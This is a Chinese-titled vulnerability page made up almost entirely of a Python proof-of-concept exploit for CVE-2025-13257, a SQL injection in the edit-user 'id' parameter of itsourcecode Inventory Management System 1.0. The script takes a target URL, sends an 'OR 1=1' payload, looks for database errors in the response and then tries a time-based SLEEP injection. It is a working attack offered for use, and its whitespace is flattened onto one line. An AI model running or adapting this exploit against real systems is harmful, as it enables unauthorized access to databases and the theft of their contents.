CVE-2025-13257 itsourcecode Inventory Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13257 SQL Injection PoC # Target: itsourcecode Inventory Management System 1.0 # Vulnerability: SQL Injection in /admin/user/index.php?view=edit def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in itsourcecode Inventory Management System Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response text from the server """ # Construct the malicious URL inject_url = f"{target_url}/admin/user/index.php?view=edit&id={payload}" try: # Send GET request with SQL injection payload response = requests.get(inject_url, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13257.py <target_url>") print("Example: python cve-2025-13257.py http://target.com/inventory") sys.exit(1) target = sys.argv[1].rstrip('/') # Basic test payload to verify vulnerability # This payload causes a SQL syntax error that may reveal database info test_payload = "1' OR '1'='1" print(f"[*] Testing SQL injection on: {target}") print(f"[*] Payload: {test_payload}") result = exploit_sqli(target, test_payload) if result: if 'sql' in result.lower() or 'error' in result.lower() or 'mysql' in result.lower(): print("[+] Vulnerability confirmed! SQL error detected in response.") print("[*] Response excerpt:") # Print first 500 characters of response print(result[:500]) else: print("[-] No obvious SQL error detected. Manual verification needed.") # Example: Database enumeration payload (MySQL) # Extract current database name enum_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" print(f"\n[*] Testing boolean-based blind injection with SLEEP...") exploit_sqli(target, enum_payload) if __name__ == "__main__": main()